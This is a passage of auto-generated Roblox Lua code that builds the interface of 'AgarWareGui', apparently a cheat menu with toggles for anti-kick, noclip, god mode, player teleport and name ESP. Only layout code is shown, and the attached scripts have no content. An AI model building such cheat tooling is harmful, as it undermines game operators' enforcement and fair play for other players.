G2L["5c"]["Name"] = [[AntiKBTickBox]];
G2L["5c"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.AntiGroup.AntiKBRow.AntiKBText
G2L["5d"] = Instance.new("TextLabel", G2L["5b"]);
G2L["5d"]["BorderSizePixel"] = 0;
G2L["5d"]["TextSize"] = 14;
G2L["5d"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["5d"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["5d"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["5d"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["5d"]["BackgroundTransparency"] = 1;
G2L["5d"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["5d"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["5d"]["Text"] = [[Anti Knockback]];
G2L["5d"]["Name"] = [[AntiKBText]];
G2L["5d"]["Position"] = UDim2.new(0.17751, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.AntiGroup.AntiKickRow
G2L["5e"] = Instance.new("Frame", G2L["49"]);
G2L["5e"]["BorderSizePixel"] = 0;
G2L["5e"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["5e"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["5e"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["5e"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["5e"]["Name"] = [[AntiKickRow]];
G2L["5e"]["LayoutOrder"] = 2;
G2L["5e"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.AntiGroup.AntiKickRow.AntiKickTickBox
G2L["5f"] = Instance.new("TextButton", G2L["5e"]);
G2L["5f"]["TextSize"] = 14;
G2L["5f"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["5f"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["5f"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["5f"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["5f"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["5f"]["Text"] = [[]];
G2L["5f"]["Name"] = [[AntiKickTickBox]];
G2L["5f"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.AntiGroup.AntiKickRow.AntiKickText
G2L["60"] = Instance.new("TextLabel", G2L["5e"]);
G2L["60"]["BorderSizePixel"] = 0;
G2L["60"]["TextSize"] = 14;
G2L["60"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["60"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["60"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["60"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["60"]["BackgroundTransparency"] = 1;
G2L["60"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["60"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["60"]["Text"] = [[Anti Kick (Client)]];
G2L["60"]["Name"] = [[AntiKickText]];
G2L["60"]["Position"] = UDim2.new(0.17751, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.CharacterGroup
G2L["61"] = Instance.new("Frame", G2L["47"]);
G2L["61"]["BackgroundColor3"] = Color3.fromRGB(17, 17, 17);
G2L["61"]["BorderMode"] = Enum.BorderMode.Middle;
G2L["61"]["Size"] = UDim2.new(0, 170, 0, 164);
G2L["61"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["61"]["Name"] = [[CharacterGroup]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.CharacterGroup.CharacterScript
G2L["62"] = Instance.new("LocalScript", G2L["61"]);
G2L["62"]["Name"] = [[CharacterScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.CharacterGroup.UIListLayout
G2L["63"] = Instance.new("UIListLayout", G2L["61"]);
G2L["63"]["SortOrder"] = Enum.SortOrder.LayoutOrder;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.CharacterGroup.CharacterAccentColor
G2L["64"] = Instance.new("Frame", G2L["61"]);
G2L["64"]["BackgroundColor3"] = Color3.fromRGB(0, 124, 255);
G2L["64"]["AutomaticSize"] = Enum.AutomaticSize.X;
G2L["64"]["Size"] = UDim2.new(0, 169, 0, 2);
G2L["64"]["Position"] = UDim2.new(0.00294, 0, 0.00658, 0);
G2L["64"]["BorderColor3"] = Color3.fromRGB(0, 92, 189);
G2L["64"]["Name"] = [[CharacterAccentColor]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.CharacterGroup.CharacterTitle
G2L["65"] = Instance.new("TextLabel", G2L["61"]);
G2L["65"]["TextWrapped"] = true;
G2L["65"]["BorderSizePixel"] = 0;
G2L["65"]["TextSize"] = 14;
G2L["65"]["TextScaled"] = true;
G2L["65"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["65"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["65"]["TextColor3"] = Color3.fromRGB(190, 190, 190);
G2L["65"]["BackgroundTransparency"] = 0.95;
G2L["65"]["Size"] = UDim2.new(0, 169, 0, 15);
G2L["65"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["65"]["Text"] = [[Character]];
G2L["65"]["LayoutOrder"] = 1;
G2L["65"]["Name"] = [[CharacterTitle]];
G2L["65"]["Position"] = UDim2.new(0.00294, 0, 0.03289, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.CharacterGroup.CharacterTitle.CharacterMinimize
G2L["66"] = Instance.new("TextButton", G2L["65"]);
G2L["66"]["BorderSizePixel"] = 0;
G2L["66"]["TextSize"] = 14;
G2L["66"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["66"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["66"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["66"]["BackgroundTransparency"] = 1;
G2L["66"]["Size"] = UDim2.new(0, 20, 0, 15);
G2L["66"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["66"]["Text"] = [[-]];
G2L["66"]["Name"] = [[CharacterMinimize]];
G2L["66"]["Position"] = UDim2.new(0.88166, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.CharacterGroup.NoclipRow
G2L["67"] = Instance.new("Frame", G2L["61"]);
G2L["67"]["BorderSizePixel"] = 0;
G2L["67"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["67"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["67"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["67"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["67"]["Name"] = [[NoclipRow]];
G2L["67"]["LayoutOrder"] = 3;
G2L["67"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.CharacterGroup.NoclipRow.NoclipTickBox
G2L["68"] = Instance.new("TextButton", G2L["67"]);
G2L["68"]["TextSize"] = 14;
G2L["68"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["68"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["68"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["68"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["68"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["68"]["Text"] = [[]];
G2L["68"]["Name"] = [[NoclipTickBox]];
G2L["68"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.CharacterGroup.NoclipRow.NoclipText
G2L["69"] = Instance.new("TextLabel", G2L["67"]);
G2L["69"]["BorderSizePixel"] = 0;
G2L["69"]["TextSize"] = 14;
G2L["69"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["69"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["69"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["69"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["69"]["BackgroundTransparency"] = 1;
G2L["69"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["69"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["69"]["Text"] = [[Noclip]];
G2L["69"]["Name"] = [[NoclipText]];
G2L["69"]["Position"] = UDim2.new(0.17751, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.CharacterGroup.FreezeAnimRow
G2L["6a"] = Instance.new("Frame", G2L["61"]);
G2L["6a"]["BorderSizePixel"] = 0;
G2L["6a"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["6a"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["6a"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["6a"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["6a"]["Name"] = [[FreezeAnimRow]];
G2L["6a"]["LayoutOrder"] = 3;
G2L["6a"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.CharacterGroup.FreezeAnimRow.FreezeAnimTickBox
G2L["6b"] = Instance.new("TextButton", G2L["6a"]);
G2L["6b"]["TextSize"] = 14;
G2L["6b"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["6b"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["6b"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["6b"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["6b"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["6b"]["Text"] = [[]];
G2L["6b"]["Name"] = [[FreezeAnimTickBox]];
G2L["6b"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.CharacterGroup.FreezeAnimRow.FreezeAnimText
G2L["6c"] = Instance.new("TextLabel", G2L["6a"]);
G2L["6c"]["BorderSizePixel"] = 0;
G2L["6c"]["TextSize"] = 14;
G2L["6c"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["6c"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["6c"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["6c"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["6c"]["BackgroundTransparency"] = 1;
G2L["6c"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["6c"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["6c"]["Text"] = [[Freeze Animation]];
G2L["6c"]["Name"] = [[FreezeAnimText]];
G2L["6c"]["Position"] = UDim2.new(0.17751, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.CharacterGroup.TpSpawnRow
G2L["6d"] = Instance.new("Frame", G2L["61"]);
G2L["6d"]["BorderSizePixel"] = 0;
G2L["6d"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["6d"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["6d"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["6d"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["6d"]["Name"] = [[TpSpawnRow]];
G2L["6d"]["LayoutOrder"] = 5;
G2L["6d"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.CharacterGroup.TpSpawnRow.TpSpawnButton
G2L["6e"] = Instance.new("TextButton", G2L["6d"]);
G2L["6e"]["TextSize"] = 14;
G2L["6e"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["6e"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["6e"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["6e"]["Size"] = UDim2.new(0, 161, 0, 16);
G2L["6e"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["6e"]["Text"] = [[TP To Spawn]];
G2L["6e"]["Name"] = [[TpSpawnButton]];
G2L["6e"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.CharacterGroup.GodModeRow
G2L["6f"] = Instance.new("Frame", G2L["61"]);
G2L["6f"]["BorderSizePixel"] = 0;
G2L["6f"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["6f"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["6f"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["6f"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["6f"]["Name"] = [[GodModeRow]];
G2L["6f"]["LayoutOrder"] = 3;
G2L["6f"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.CharacterGroup.GodModeRow.GodModeTickBox
G2L["70"] = Instance.new("TextButton", G2L["6f"]);
G2L["70"]["TextSize"] = 14;
G2L["70"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["70"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["70"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["70"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["70"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["70"]["Text"] = [[]];
G2L["70"]["Name"] = [[GodModeTickBox]];
G2L["70"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.CharacterGroup.GodModeRow.GodModeText
G2L["71"] = Instance.new("TextLabel", G2L["6f"]);
G2L["71"]["BorderSizePixel"] = 0;
G2L["71"]["TextSize"] = 14;
G2L["71"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["71"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["71"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["71"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["71"]["BackgroundTransparency"] = 1;
G2L["71"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["71"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["71"]["Text"] = [[God Mode]];
G2L["71"]["Name"] = [[GodModeText]];
G2L["71"]["Position"] = UDim2.new(0.17751, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.CharacterGroup.TpPlayerRow2
G2L["72"] = Instance.new("Frame", G2L["61"]);
G2L["72"]["BorderSizePixel"] = 0;
G2L["72"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["72"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["72"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["72"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["72"]["Name"] = [[TpPlayerRow2]];
G2L["72"]["LayoutOrder"] = 4;
G2L["72"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.CharacterGroup.TpPlayerRow2.TpPlayerButton
G2L["73"] = Instance.new("TextButton", G2L["72"]);
G2L["73"]["TextSize"] = 14;
G2L["73"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["73"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["73"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["73"]["Size"] = UDim2.new(0, 40, 0, 16);
G2L["73"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["73"]["Text"] = [[TP]];
G2L["73"]["Name"] = [[TpPlayerButton]];
G2L["73"]["Position"] = UDim2.new(0.73964, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.CharacterGroup.TpPlayerRow2.TpPlayerText
G2L["74"] = Instance.new("TextLabel", G2L["72"]);
G2L["74"]["BorderSizePixel"] = 0;
G2L["74"]["TextSize"] = 14;
G2L["74"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["74"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["74"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["74"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["74"]["BackgroundTransparency"] = 1;
G2L["74"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["74"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["74"]["Text"] = [[TP To Player:]];
G2L["74"]["Name"] = [[TpPlayerText]];
G2L["74"]["Position"] = UDim2.new(0.02367, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.CharacterGroup.TpPlayerRow1
G2L["75"] = Instance.new("Frame", G2L["61"]);
G2L["75"]["BorderSizePixel"] = 0;
G2L["75"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["75"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["75"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["75"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["75"]["Name"] = [[TpPlayerRow1]];
G2L["75"]["LayoutOrder"] = 4;
G2L["75"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.CharacterGroup.TpPlayerRow1.TpPlayerScript
G2L["76"] = Instance.new("LocalScript", G2L["75"]);
G2L["76"]["Name"] = [[TpPlayerScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.CharacterGroup.TpPlayerRow1.TpPlayerDropdown
G2L["77"] = Instance.new("TextButton", G2L["75"]);
G2L["77"]["TextTransparency"] = 1;
G2L["77"]["TextSize"] = 14;
G2L["77"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["77"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["77"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["77"]["Size"] = UDim2.new(0, 161, 0, 16);
G2L["77"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["77"]["Text"] = [[Dropdown]];
G2L["77"]["Name"] = [[TpPlayerDropdown]];
G2L["77"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.CharacterGroup.ResetRow
G2L["78"] = Instance.new("Frame", G2L["61"]);
G2L["78"]["BorderSizePixel"] = 0;
G2L["78"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["78"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["78"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["78"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["78"]["Name"] = [[ResetRow]];
G2L["78"]["LayoutOrder"] = 5;
G2L["78"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.CharacterGroup.ResetRow.ResetScript
G2L["79"] = Instance.new("LocalScript", G2L["78"]);
G2L["79"]["Name"] = [[ResetScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.MainPage.MainRightSide.CharacterGroup.ResetRow.ResetButton
G2L["7a"] = Instance.new("TextButton", G2L["78"]);
G2L["7a"]["TextSize"] = 14;
G2L["7a"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["7a"]["BackgroundColor3"] = Color3.fromRGB(25, 25, 25);
G2L["7a"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["7a"]["Size"] = UDim2.new(0, 161, 0, 16);
G2L["7a"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["7a"]["Text"] = [[Reset Character]];
G2L["7a"]["Name"] = [[ResetButton]];
G2L["7a"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage
G2L["7b"] = Instance.new("ScrollingFrame", G2L["17"]);
G2L["7b"]["Visible"] = false;
G2L["7b"]["Active"] = true;
G2L["7b"]["BorderSizePixel"] = 0;
G2L["7b"]["CanvasSize"] = UDim2.new(0, 0, 1.5, 0);
G2L["7b"]["Name"] = [[VisualPage]];
G2L["7b"]["BackgroundColor3"] = Color3.fromRGB(255, 0, 0);
G2L["7b"]["Size"] = UDim2.new(0, 349, 0, 250);
G2L["7b"]["ScrollBarImageColor3"] = Color3.fromRGB(0, 0, 0);
G2L["7b"]["Position"] = UDim2.new(0.02329, 0, 0.03008, 0);
G2L["7b"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["7b"]["ScrollBarThickness"] = 0;
G2L["7b"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualLeftSide
G2L["7c"] = Instance.new("Frame", G2L["7b"]);
G2L["7c"]["BorderSizePixel"] = 0;
G2L["7c"]["BackgroundColor3"] = Color3.fromRGB(0, 255, 18);
G2L["7c"]["Size"] = UDim2.new(0, 170, 0, 360);
G2L["7c"]["Position"] = UDim2.new(0, 0, 0.00439, 0);
G2L["7c"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["7c"]["Name"] = [[VisualLeftSide]];
G2L["7c"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualLeftSide.UIListLayout
G2L["7d"] = Instance.new("UIListLayout", G2L["7c"]);
G2L["7d"]["Padding"] = UDim.new(0, 7);
G2L["7d"]["SortOrder"] = Enum.SortOrder.LayoutOrder;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualLeftSide.ESPGroup
G2L["7e"] = Instance.new("Frame", G2L["7c"]);
G2L["7e"]["BackgroundColor3"] = Color3.fromRGB(17, 17, 17);
G2L["7e"]["BorderMode"] = Enum.BorderMode.Middle;
G2L["7e"]["Size"] = UDim2.new(0, 170, 0, 103);
G2L["7e"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["7e"]["Name"] = [[ESPGroup]];
G2L["7e"]["LayoutOrder"] = 2;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualLeftSide.ESPGroup.ESPScript
G2L["7f"] = Instance.new("LocalScript", G2L["7e"]);
G2L["7f"]["Name"] = [[ESPScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualLeftSide.ESPGroup.UIListLayout
G2L["80"] = Instance.new("UIListLayout", G2L["7e"]);
G2L["80"]["SortOrder"] = Enum.SortOrder.LayoutOrder;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualLeftSide.ESPGroup.ESPAccentColor
G2L["81"] = Instance.new("Frame", G2L["7e"]);
G2L["81"]["BackgroundColor3"] = Color3.fromRGB(0, 124, 255);
G2L["81"]["AutomaticSize"] = Enum.AutomaticSize.X;
G2L["81"]["Size"] = UDim2.new(0, 169, 0, 2);
G2L["81"]["Position"] = UDim2.new(0.00294, 0, 0.00658, 0);
G2L["81"]["BorderColor3"] = Color3.fromRGB(0, 92, 189);
G2L["81"]["Name"] = [[ESPAccentColor]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualLeftSide.ESPGroup.ESPTitle
G2L["82"] = Instance.new("TextLabel", G2L["7e"]);
G2L["82"]["TextWrapped"] = true;
G2L["82"]["BorderSizePixel"] = 0;
G2L["82"]["TextSize"] = 14;
G2L["82"]["TextScaled"] = true;
G2L["82"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["82"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["82"]["TextColor3"] = Color3.fromRGB(190, 190, 190);
G2L["82"]["BackgroundTransparency"] = 0.95;
G2L["82"]["Size"] = UDim2.new(0, 169, 0, 15);
G2L["82"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["82"]["Text"] = [[ESP]];
G2L["82"]["LayoutOrder"] = 1;
G2L["82"]["Name"] = [[ESPTitle]];
G2L["82"]["Position"] = UDim2.new(0.00294, 0, 0.03289, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualLeftSide.ESPGroup.ESPTitle.ESPMinimize
G2L["83"] = Instance.new("TextButton", G2L["82"]);
G2L["83"]["BorderSizePixel"] = 0;
G2L["83"]["TextSize"] = 14;
G2L["83"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["83"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["83"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["83"]["BackgroundTransparency"] = 1;
G2L["83"]["Size"] = UDim2.new(0, 20, 0, 15);
G2L["83"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["83"]["Text"] = [[-]];
G2L["83"]["Name"] = [[ESPMinimize]];
G2L["83"]["Position"] = UDim2.new(0.88166, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualLeftSide.ESPGroup.ESPNameRow
G2L["84"] = Instance.new("Frame", G2L["7e"]);
G2L["84"]["BorderSizePixel"] = 0;
G2L["84"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["84"]["Size"] = UDim2.new(0, 169, 0, 20);
G2L["84"]["Position"] = UDim2.new(0.00294, 0, 0.175, 0);
G2L["84"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["84"]["Name"] = [[ESPNameRow]];
G2L["84"]["LayoutOrder"] = 2;
G2L["84"]["BackgroundTransparency"] = 1;
-- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualLeftSide.ESPGroup.ESPNameRow.ESPNameScript
G2L["85"] = Instance.new("LocalScript", G2L["84"]);
G2L["85"]["Name"] = [[ESPNameScript]];
-- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualLeftSide.ESPGroup.ESPNameRow.ESPNameTickBox
G2L["86"] = Instance.new("TextButton", G2L["84"]);
G2L["86"]["TextSize"] = 14;
G2L["86"]["TextColor3"] = Color3.fromRGB(0, 0, 0);
G2L["86"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["86"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["86"]["Size"] = UDim2.new(0, 16, 0, 16);
G2L["86"]["BorderColor3"] = Color3.fromRGB(58, 58, 58);
G2L["86"]["Text"] = [[]];
G2L["86"]["Name"] = [[ESPNameTickBox]];
G2L["86"]["Position"] = UDim2.new(0.02367, 0, 0.16, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualLeftSide.ESPGroup.ESPNameRow.ESPNameText
G2L["87"] = Instance.new("TextLabel", G2L["84"]);
G2L["87"]["BorderSizePixel"] = 0;
G2L["87"]["TextSize"] = 14;
G2L["87"]["TextXAlignment"] = Enum.TextXAlignment.Left;
G2L["87"]["BackgroundColor3"] = Color3.fromRGB(255, 255, 255);
G2L["87"]["FontFace"] = Font.new([[rbxasset://fonts/families/Inconsolata.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["87"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["87"]["BackgroundTransparency"] = 1;
G2L["87"]["Size"] = UDim2.new(0, 88, 0, 20);
G2L["87"]["BorderColor3"] = Color3.fromRGB(0, 0, 0);
G2L["87"]["Text"] = [[Name ESP]];
G2L["87"]["Name"] = [[ESPNameText]];
G2L["87"]["Position"] = UDim2.new(0.17751, 0, 0, 0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.VisualPage.VisualLeftSide.ESPGroup.ESPMaxDistRow
G2L["88"] = Instance.new("Frame", G2L["7e"]);
G2L["88"]["BorderSizePixel"] = 0;
